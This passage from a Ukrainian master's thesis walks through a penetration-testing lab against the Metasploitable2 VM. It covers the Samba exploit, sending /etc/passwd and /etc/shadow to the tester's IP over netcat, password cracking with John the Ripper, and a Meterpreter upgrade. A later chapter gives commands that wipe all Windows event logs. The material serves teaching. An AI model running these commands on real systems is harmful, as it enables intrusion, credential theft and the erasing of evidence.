Metasploitable2 VM) 

msf6> set RPORT XXXX     # Must set remote port. 

 

 

Рисунок 3.7 – Параметри експлойта 

Запустимо експлойт: 
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Для перевірки коректності одержаної сесії необхідно ввести в консолі 

Linux команди whoami, uname -a. 

Отримаємо хешовані форми паролів користувачів у системі для 

майбутнього аналізу. У системах Linux вони зберігаються у файлі "shadow". 

Щоб переглянути файл /etc/shadow і показати лише рядки, в яких 

встановлено пароль облікового запису, виконаємо команду (рис. 3.8): 

 

cat /etc/shadow | grep '$1'  

 

 
 

Рисунок 3.8 – Результат отримання хешованих форм паролів 

користувачів у системі Metasploitable2 

 

Вихід з експлойту здійснюється командою 

 

msf6> back. 

 

3.4.4 Експлуатація Samba 

 

Samba – це реалізація з відкритим кодом протоколів загального доступу 

до файлів і принтерів Microsoft, а також Active Directory [52]. 



65 

По-перше, перевіримо запущену версію Samba (показана в попередніх 

результатах сканування Nmap, рис. 3.5) і потім пошукаємо експлойти в Samba 

для цієї версії (рис. 3.9). 

 

msf6> search type:exploit name:samba 

 

 

Рисунок 3.9 – Результат пошуку експлойтів для Samba 

 

На перший погляд, перевірка номерів версій тут не дуже корисна. В 

описі або не вказані застосовні номери версій, або вказані версії старші за ті, 

на які ми орієнтуємося. Спробуємо використати ті, що мають rank of excellent 

та great. 

 
msf6> use exploit/multi/samba/usermap_script 

msf6> info 

msf6> set RHOSTS aaa.bbb.ccc.ddd   # Must set remost host (IP address of 

Metasploitable2 VM) 

msf6> exploit 

msf6 exploit(multi/samba/usermap_script) > exploit . 

 

Перевіримо доступ до системи Metasploitable2, виконавши в консолі 

команду Linux, наприклад whoami. І у разі успішного виконання спробуємо 

інший спосіб отримати доступ до файлів /etc/passwd та /etc/shadow у системі – 
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ексфільтрувати їх через Netcat замість ручного копіювання та вставки 

(рис. 3.10). Цей метод можна також використовувати для ексфільтрації 

довільних файлів [53]. 

 

 

Рисунок 3.10 – Експлуатація вразливості Samba 

 

У системі Kali linux (не msf6) у командному рядку запустимо утиліту 

Netcat, прослуховуючи порт 4567. 

 

$ nc -l -p 4567 > passwd.txt 

# Netcat will wait and receive data into the file for FOREVER. 
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У командному рядку експлуатованої системи (msf6) передамо вміст 

файлу /etc/passwd в утиліту Netcat, яка налаштована на підключення до Kali за 

вказаною IP-адресою та портом: 

 

cat /etc/passwd | nc xxx.xxx.xxx.xxx 4567 

# Update command with the IP address of your Kali VM. 
 

Аналогічно передамо вміст файлу /etc/shadow. 

У цьому випадку буде корисніше об'єднати файли passwd і shadow в 

один файл для майбутнього злому пароля. Використаємо команду unshadow на 

хості Kali, щоб об'єднати ці два файли разом та зберегти їх для подальшого 

використання (рис. 3.11). 

 

$ unshadow passwd.txt shadow.txt > metasploitable_logins.txt 
 

 

Рисунок 3.11 – Результат об'єднання файлів passwd і shadow в один файл для 

майбутнього злому пароля 
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3.4.5 Hydra 

 

Hydra – це розпаралелений зломщик входу в систему методом «грубої 

сили» [54], який підтримує безліч протоколів для атак через онлайн-атаки, у 

тому числі: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-

GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, 

ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, 

PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, 

SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), 

SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. 

Hydra можна використовувати, щоб підбирати онлайн-паролі для 

одного імені користувача Metasploitable2. Імена користувачів можна дізнатися 

кількома способами: з облікових записів в інших системах, з адрес електронної 

пошти, з ймовірних комбінацій людських імен або просто вгадуючи (root, 

admin, Administrator, user тощо). 

 

3.5 Пост-експлуатація  

 

3.5.1 John the Ripper  

 

Припустимо, у нас є хеші паролів від більш раннього експлойту 

(наприклад, хеші паролів, отримані в п. 3.4.3, рис. 3.8). Хоча це було корисно 

саме собою, щоб побачити, які імена користувачів існують, було б набагато 

корисніше мати паролі у вигляді відкритого тексту, які потім можна було б 

використовувати для входу в інші неексплуатовані системи. 

Розглянемо, як можна перетворити хеші паролів у паролі у вигляді 

відкритого тексту. 

John the Ripper – це інструмент для «перевірки безпеки та відновлення 

паролів», який також можна використовувати для злому паролів методом 

грубої сили з хешів [55]. Цей процес може бути набагато швидшим, ніж 
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мережні атаки з Hydra. Немає мережної затримки в очікуванні відповіді цілі, 

не потрібно турбуватися про перевантаження цілі або спрацьовування 

сигналізації безпеки, а спроби хешування можуть бути сильно розпаралелені. 

Запустимо John the Ripper на хешах, які ми отримали з Metasploitable2 

(у розділі 3.4.4 отримано файли /etc/passwd і /etc/shadow, а потім використано 

інструмент unshadow, щоб об'єднати ці файли в один файл.) John the Ripper має 

набір правил для загальних перестановок паролів, заснованих на іменах 

користувачів. Почнемо із правила Single Crack. Це для простих паролів, що 

базуються на логіні/інформації GECOS, але може пощастити, і для початку це 

дуже швидко. 

 

$ john --list=rules   # Just to see all the different permutations possible 

$ john --single metasploitable_logins.txt. 

 

Слід звернути увагу, що не потрібно надавати файл у форматі "shadow" 

- John the Ripper цілком здатний розпізнавати широкий спектр стандартів 

хешування у файлі з таким простим вмістом, як username:hash (рис. 3.12). 

 

 

Рисунок 3.12 – Отримання паролів за правилом Single Crack 

 

Є успіхи, але не вгадано паролі для всіх облікових записів. Тепер 

запустимо John the Ripper, використовуючи базовий список загальних паролів, 

який постачається разом із John (рис. 3.13). 

 

$ john --wordlist=/usr/share/john/password.lst –rules metasploitable_logins.txt. 
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Рисунок  3.13 –  Отримання паролів із використанням списку загальних 

паролів 

 

Слід звернути увагу, якщо повторно запустити команду для того ж 

вхідного файлу, John the Ripper не виконуватиме ті самі тести або 

намагатиметься знайти паролі для вже відомих імен користувачів. Вони 

зберігаються в ~/.john/john.pot. Таким чином, можна легко спробувати кілька 

списків слів (наприклад, маленький, середній, великий, масивний) і складніші 

правила (наприклад, перестановки) на тих самих хешах. 

Для виведення всіх результатів злому пароля на заданому файлі, а не 

тільки останнє сканування, необхідно виконати 

 

$ john --show metasploitable_logins.txt 

# This will show results in the "passwd" format: 

# username: password: UsedID: GroupID: User Info: Home Directory: Default Shell. 

 

Не вдалося зламати тільки пароль root. Використано 134-мегабайтний 

список слів rockyou.txt (нестиснутий з /usr/share/wordlists/rockyou.txt.gz), але 

безуспішно. Це вказує на те, що цей пароль значно важче зламати, ніж інші. 
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Metasploit поставляється з іншими файлами на вибір (див. /usr/share/metasploit-

framework/data/wordlists/), і будь-який пен-тестер буде мати свої власні списки 

паролів. Наприклад, CrackStation.net has a 15GB (uncompressed) wordlist file: 

https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm 

Облікові дані можна відстежувати у Metasploit за допомогою команди 

creds. Наприклад, додати msfadmin можна використовуючи команду «creds 

add». Для цього необхідно буде вказати ім'я користувача, пароль та IP-

адресу/порт/протокол/службу, для якої виконується вхід: 

 

# Ensure PostgreSQL database is running 

$ sudo service postgresql start 

# Launch Metasploit Console 

$ msfconsole 

# Continue using the workspace from the last lab: 

msf6> workspace metasploitable2 

msf6> creds add user:msfadmin password:XXXXXX address:xx.xx.xx.xx port:22 

protocol:tcp service-name:ssh. 

 

Потім пізніше можна виконувати пошук у базі даних облікових даних 

по хосту або службі. 

 

msf6> creds -s ssh 

msf6> creds xx.xx.xx.xx. 

 

3.5.2 Meterpreter 

 

Meterpreter – це гнучке, динамічно розширюване корисне 

навантаження, яке використовує стадію впровадження DLL в пам'ять і 

поширюється в мережі під час виконання [56]. Він обмінюється даними через 

мережний сокет і надає комплексний клієнтський Ruby API. У ньому є історія 

команди, завершення вкладок, канали та багато іншого. 

https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
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Обновимо звичайну командну оболонку до Metasploit Meterpreter.  

https://null-byte.wonderhowto.com/how-to/upgrade-normal-command-shell-

metasploit-meterpreter-0166013/ 

Продовжимо використовувати робочий простір (workspace 

metasploitable2) та використовувати експлойт Samba з п. 3.4.4: 

 

msf6> workspace metasploitable2 

msf6> search type:exploit name:samba 

msf6> use exploit/multi/samba/usermap_script 

msf6> info 

msf6> set RHOST xx.xx.xx.xx. 

 

Для цього експлойту доступні «корисні навантаження» payloads 

(рис. 3.14): 

 

msf6> show payloads. 

 

Meterpreter недоступний. Досягнемо цього за допомогою двоетапного 

процесу. 

msf6> exploit 

whoami 

root. 

 

Тепер, коли ми маємо оболонку на віртуальній машині Metasploitable2, 

відправимо її у фоновий режим за допомогою control+z. 

Знайдемо постексплуатаційний скрипт для оновлення до оболонки 

Meterpreter, а потім виберемо його (рис. 3.15). 

 

msf6> search shell_to_meterpreter 

msf6> use post/multi/manage/shell_to_meterpreter. 
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Рисунок 3.14 – Перелік доступних «корисних навантажень» payloads 

 

Отримаємо більше інформації про цей скрипт та параметри, які йому 

необхідно встановити: 

 

msf6> info. 

 

З опцій, які приймає цей сценарій після експлойту, єдина відсутня 

обов'язкова – це SESSION, яка є сеансом для запуску цього сценарію. Вкажемо 

на поточну сесію, ту, яку перевели у фоновий режим: 

 

msf6> sessions 

msf6> set SESSION x 
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# where x = num of session you just backgrounded. 

 

 

 

Рисунок 3.15 – Оновлення звичайної командної оболонку до Metasploit 

Meterpreter 

 

Запустимо цей скрипт після експлойту: 

 

msf6> exploit 

msf6> <exploit runs...>. 

 

Щоб використати нову оболонку Meterpreter, знову отримаємо список 

сесій, але вже з новою сесією: 

 

msf6> sessions. 

 



75 

Щоб взаємодіяти з новою оболонкою, використовуємо прапор «-i» для 

сеансів. 

 

msf6> sessions -i x 

# where x = num of Meterpreter session you just created. 

 

Розглянемо можливості Meterpreter тепер, коли він працює на 

віртуальній машині Metasploitable2.  

Отримати деяку інформацію про систему, в якій працює Meterpreter і 

переглянути список запущених процесів, щоб отримати уявлення про те, що 

виконується в системі, можна виконавши команди: 

 

meterpreter> sysinfo 

meterpreter> ps. 

 

Завантажимо файли /etc/passwd та etc/shadow з Metasploitable2 на 

комп'ютер з Kali і збережемо їх у каталозі /tmp , тим самим демонструючи ще 

один спосіб доступу до файлів на віддаленому хості. 

 

meterpreter> download /etc/passwd /etc/shadow /tmp. 

 

Додатково переглянемо кеш ARP цільового хоста, що представить інші 

системи локальної мережі, з якими ціль нещодавно спілкувалася. Це допоможе 

виявити інші системи, які, можливо, варто вивчити згодом. 

 

meterpreter> arp. 

 

Щоб переглянути меню довідки та вийти з оболонки meterpreter, 

необхідно виконати наступні команди: 
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meterpreter> ? 

meterpreter> quit. 

 

3.6 Висновки до розділу 3 

 

У цьому розділі показано, як за допомогою інструментів Kali Linux 

можна провести автоматичне сканування системи або використати ручний 

пошук та виявити наявні вразливості системи безпеки. На основі розглянутих 

в цьому розділі пошуку, перевірці, використанні вразливостей комп'ютерної 

системи та отриманні доступу були підготовлені три лабораторні роботи 

№ 2 – 4, що ввійшли до лабораторного практикуму з дисципліни "Захищені 

мережеві технології" для студентів спеціальності 125 «Кібербезпека» (Додаток 

А). 
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4 ВИДАЛЕННЯ СЛІДІВ АКТИВНОСТІ ПРИ ПРОВЕДЕННІ 

ТЕСТУВАННЯ НА ПРОНИКНЕННЯ 

 

Один із не менш важливих аспектів при завершенні тестування на 

проникнення – переконатися, що в системі не залишиться жодних слідів 

злому. При розриві з'єднання або виході з системи, що зламується, дуже 

важливо, щоб не залишалося жодних слідів у журналах або в інших логах. 

Крім того, під час тестування на проникнення можуть бути згенеровані нові 

дані, які залишають слід у системі та мережі. 

 

4.1 Журнали DHCP-сервера 

 

У цих журналах ведеться облік присвоєння IP-адрес у мережі. У цьому 

журналі зберігаються всі події при взаємодії між потенційним DHCP-клієнтом 

та DHCP-сервером. Найбільший інтерес тут представляють MAC-адреси 

клієнтів, які будуть занесені до відповідного журналу подій. 

Для Windows журнали DHCP зберігаються в каталозі [57]  

 

%SystemRoot%\System32\dhcp. 

 

У Linux для перегляду журналів DHCP можна використати команду 

 

cat/var/log/syslog | grep -Ei 'dhcp'. 

  

4.2 Події Syslog 

 

Для кожного сеансу або запиту/відповіді, що відбувається в мережі, 

такі пристрої, як міжмережні екрани, системи виявлення/запобігання 

вторгнень (IDS/IPS) та ін. ведуть свої журнали подій щодо мережного трафіку. 

Ці пристрої використовують Syslog protocol для створення повідомлень 
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журналу в єдиному форматі з усіма необхідними деталями, які можуть стати в 

нагоді при розслідуванні інциденту інформаційної безпеки. 

У системах Linuх Syslog журнали знаходяться в /var/log/syslog [58]. 

 

4.3 Пакетний аналіз 

 

Проводячи дослідження мережі, експерти проводять аналіз пакетів, 

спостерігаючи за будь-якими аномаліями в сегменті мережі, який їх цікавить. 

Аналіз пакетів дозволяє визначити наступне: 

− джерело атаки; 

− завантажені та скачані файли; 

− тип трафіку в мережі; 

− час атаки; 

− вилучені артефакти, наприклад файли; 

− url-адреси та домени; 

− атакований хост; 

− дані телеметрії.  

 

4.4 Журнали веб-сервера 

 

У цих журналах зберігаються повідомлення про всі дії при взаємодії 

між веб-сервером та клієнтським веб-браузером. 

Файли журналу Internet Information Server (IIS) перебувають у 

 

%SystemDrive%\inetpub\logs\LogFiles. 
 

Журнали Apache у Red Hat, CentOS та Fedora зберігаються в 

 

/var/log/httpd/access_log и /var/log/httpd/error_log. 
 

Для систем Debian та Ubuntu журнали веб-сервера Apache можна 

знайти за адресою 
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/var/log/apache2/access_log и /var/log/apache2/error_log. 
 

Журнали FreeBSD Apache знаходяться в  

 

/var/log/httpd-access.log и /var/log/httpd-error.log. 

  

4.5 Журнали бази даних 

 

Під час тесту на проникнення та маніпулюванням цільовою базою 

даних, як то створення, зміна, видалення або вилучення інформації, бази даних 

створюють власний набір повідомлень журналу. 

Журнали бази даних для Microsoft SQL Server можна знайти в  

 

\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.MDF  

та 

\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.LDF.¶ 
 

Експерт може перевірити журнали помилок у базі даних щодо 

підозрілих дій, які можна знайти в 

 

\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\LOG\ERRORLOG. 

 

4.6 Журнали подій (Event logs) 

 

Журнали подій – це запис дій, здійснених у системі за участю 

користувача та без нього. Наприклад, журнали безпеки містять записи про 

події входу в систему, якщо користувач успішно авторизувався або навпаки, 

про невдалу спробу входу в систему. Event logs фіксують усе, що відбувається 

в системі, з моменту її включення і до вимкнення. У операційній системі 

Windows 10 конфігурація журналів подій зберігається у наступному розділі 

реєстру: 
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HKLM\System\ControlSet00x\Services\EventLog. 

 

Щоб переглянути список імен доступних журналів подій у Windows 10, 

достатньо виконати команду (рис. 4.1): 

 
wevtutil el. 

  

 

Рисунок 4.1 – Список імен доступних журналів подій у ОС Windows 

 

Крім того, використання команди wevtutil gl <ім'я журналу> надасть 

інформацію про конфігурацію для вибраного журналу (рис. 4.2). 

 

 

Рисунок 4.2 – Інформація про конфігурацію для вибраного журналу 
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Варто зазначити, що самі системні журнали Windows зберігаються в 

C:\Windows\System32\winevt \Logs  в локальній системі. 

Проста зміна або видалення файлів журналів, що зберігаються в цих 

місцях, буде викликати труднощі при розслідуванні інциденту інформаційної 

безпеки і, безумовно, ускладнюватиме роботу експертів. Стане набагато 

складніше визначити фактичну послідовність атаки та її поширення, що у 

свою чергу знижує шанси бути виявленим. 

  

4.7 Очищення журналів у Windows 

 

В операційній системі Windows засіб перегляду подій є програмою, яка 

об'єднує журнали програм, безпеки, установки та системи на єдиній 

інформаційній панелі. Вона знаходиться в 

 

"C:\ProgramData\Microsoft\Windows\StartMenu\Programs\Administrative 

Tools\Event Viewer.lnk". 

 

У вікні "Перегляд подій" журнали можна очистити, просто вибравши 

функцію "Очистити журнал" кнопкою на панелі "Дії". Однак не варто забувати 

про те, що події про очищення журналу також пишуться в лог.  

  

4.8 Використання PowerShell для очищення журналів у Windows 

 

PowerShell – це дуже потужний інструмент командного рядка, який дає 

системному адміністратору великий перегляд для адміністрування систем, для 

виконання та автоматизації операцій і завдань в операційних системах 

Windows, MacOS і Linux. 

Розглянемо кілька команд очищення журналів. 

1. Для очищення всіх журналів подій 

 

wevtutil el | Foreach-Object {wevtutil cl “$_”}. 
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2. Для очищення певних журналів з комп'ютера. Команда Clear-

EventLog дозволяє адміністратору очистити всі повідомлення журналу 

<LogName>: з певної категорії подій. Синтаксис для використання цієї 

команди: 

 

Clear-EventLog <LogName>. 

 

4.9 Використання командного рядка для очищення журналів у Windows 

 

Раніше розглянуту команду wevtutil el можна використовувати не лише 

для перегляду списку типів/категорій журналів. Можна використовувати 

wevtutil cl, за яким слідує конкретний журнал, щоб очистити записи в категорії 

журналу 

 

wevtutil clear-log Security. 

 
В результаті виконання команди wevtutil el можна бачити довгий 

список категорій журналів подій. Однак очищення кожної категорії займає 

досить багато часу, тому скористаємося наступним скриптом для очищення 

кожної категорії під час виконання команди 

 

for /F "tokens = *"%1 в ('wevtutil.exe el') DO wevtutil.exe cl "%1". 

Для успішного виконання скрипта cmd слід запускати з правами 

адміністратора.   

 

4.10 Використання Meterpreter для очищення журналів Windows 

 

У складі Metasploit framework існує дуже просунуте корисне 

навантаження, що динамічно розширюється, відоме як Meterpreter розглянуте 

в п. 3.5.2. 
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Meterpreter розроблений, щоб бути прихованим, потужним та 

динамічно розширюваним. Після успішного закріплення в системі можна 

використовувати команду clearev для очищення журналів додатків, системи та 

безпеки (рис. 4.3). 

 

 

 
Рисунок 4.3 – Процес очищення журналів додатків, системи та безпеки 

 

Як показано на рис. 4.3, Meterpreter очищає журнали кожної категорії в 

цільовій системі. Також вказано кількість очищених записів. 

Розглянуті в цьому розділі способи видалення слідів активності під час  

тестування на проникнення були використані в лабораторній роботі № 4, що 

ввійшла до лабораторного практикуму з дисципліни "Захищені мережеві 

технології" для студентів спеціальності 125 «Кібербезпека» (Додаток А). 

 

4.11 Висновки до розділу 4 

 

У цьому розділі розглянуті способи приховування активності під час 

тестування на проникнення, моделюючи атаки на цільову систему або мережу. 

Розглянуто різні типи журналів та їх розташування, а також логи, їх 

інформативність при розслідуванні інциденту та способи очистити журнали 

подій у Windows за допомогою штатних засобів, powershell та cmd. 
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ВИСНОВКИ 

 

В магістерській роботі розглянуті особливості реалізації тестування на 

проникнення з метою виявлення існуючих вразливостей в елементах 

інформаційної інфраструктури та підвищення якості навчального процесу під 

час підготовки фахівців в галузі кібербезпеки. 

Для досягнення поставленої мети, в результаті опрацювання 

вітчизняної та зарубіжної наукової літератури, були проведені теоретичні та 

практичні дослідження: 

1. Існуючих методологій для тестування інформаційної безпеки, що 

дають можливість оцінити захищеність комп’ютерних систем від різного роду 

кібератак (OSSTMM, NIST, OWASP, PTES, ISSAF). 

2. Методів отримання інформації з відкритих джерел – OSINT, 

способів їх застосування та правовий аспект їх використання. Розглянуто 

«пасивний» та «активний» методи збирання інформації.  

3. Автоматичного сканування комп'ютерної системи на предмет 

виявлення наявних вразливостей системи безпеки за допомогою інструментів 

Kali Linux. 

4. Способів приховування активності під час тестування на 

проникнення шляхом моделювання атаки на цільову систему (мережу). 

Розглянуто різні типи журналів подій, їх розташування, інформативність при 

розслідуванні інциденту та способи очищення. 

Практичним результатом магістерської роботи є розробка 

лабораторного практикуму, що включає чотири лабораторні роботи, три 

практичних і одну теоретичну. Лабораторні роботи, включені до складу курсу 

«Захищені мережні технології», та покликані допомогти студентам зрозуміти, 

як на практиці відбувається процес збирання інформації, процес отримання 

інформації від мережевих сервісів (сканування мережі), процедуру пошуку та 

експлуатації вразливостей у рамках проведення тестування на проникнення за 

допомогою інструментів, що знаходяться у відкритому доступі. 
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ДОДАТОК Б 

ПРИКЛАД ПРОГРАМНИХ ЗАСОБІВ, ЯКІ МОЖУТЬ БУТИ 

ВИКОРИСТАНІ ДЛЯ ТЕСТУВАННЯ НА ПРОНИКНЕННЯ 

 

Аналіз мережі 

Ettercap, Autonomous System Scanner, Firewalk, 

Netenum, Netdiscover, Netmask, Nmap, P0f, 

Tctrace, Umit, Netcat, Cryptcat 

«Сніфери» та програми 

перехоплення трафіку 

Ettercap, Dsniff, Kismet, Mailsnarf, Ntop, 

Msgsnarf, Phoss, Wireshark, SinFP, SMB Sniffer, 

Ethereal, Filesnarf, Ngrep, TCPdump, Webspy 

Ідентифікація портів та 

мережевих сервісів 

Amap, AutoScan, Nmap, Netdiscover, P0f, 

UnicornScan, Umit, Netcat 

Сканування вразливостей 

Firewalk, Hydra, GFI LANguard, Metasploit, 

Nmap, Snort, Paros Proxy, SuperScan, Exodus, 

Firewalk, Snort 

Сканування бездротових 

мереж 

Airsnarf, Airsnort, BdAddr, Btscanner, 

Bluesnarfer, FakeAP, Kismet, GFI LANguard, 

WifiTAP, MACchanger, GPSdrive,  

Перевірка цілісності 

файлів 

Autopsy, RootkitHunter, Foremost, Sleuthkit 

Biew, Bsed, Hashdig, Coreography, Foremost, 

Rifiuti 

Зламування паролів 

John the Ripper, Hydra, RainbowCrack, Rcrack, 

SIPdump, SIPcrack, TFTP-Brute, WebCrack, THC 

PPTP, chntpw, VNCrack, Allwords2, Cisilia, 

Djohn 

Тестування віддаленого 

доступу 

PSK-Crack, IKEProbe, IKE-Scan, Net-SNMP, 

VNC_bypauth, VNC Server, Apache Server, 

SSHD, TFTPD,  

Тестування на 

проникнення 

Ettercap, Driftnet, Dsniff, Nmap, Kismet, 

Metasploit, Wireshark, Ntop, SinFP, SMB Sniffer, 

Ethereal, Ngrep, Nessus, Netcat, , TCPdump 

Тестування безпеки 

додатків 

NetSed, CIRT Fuzzer, Fuzzer 1.2, Peach, Paros 

Proxy 
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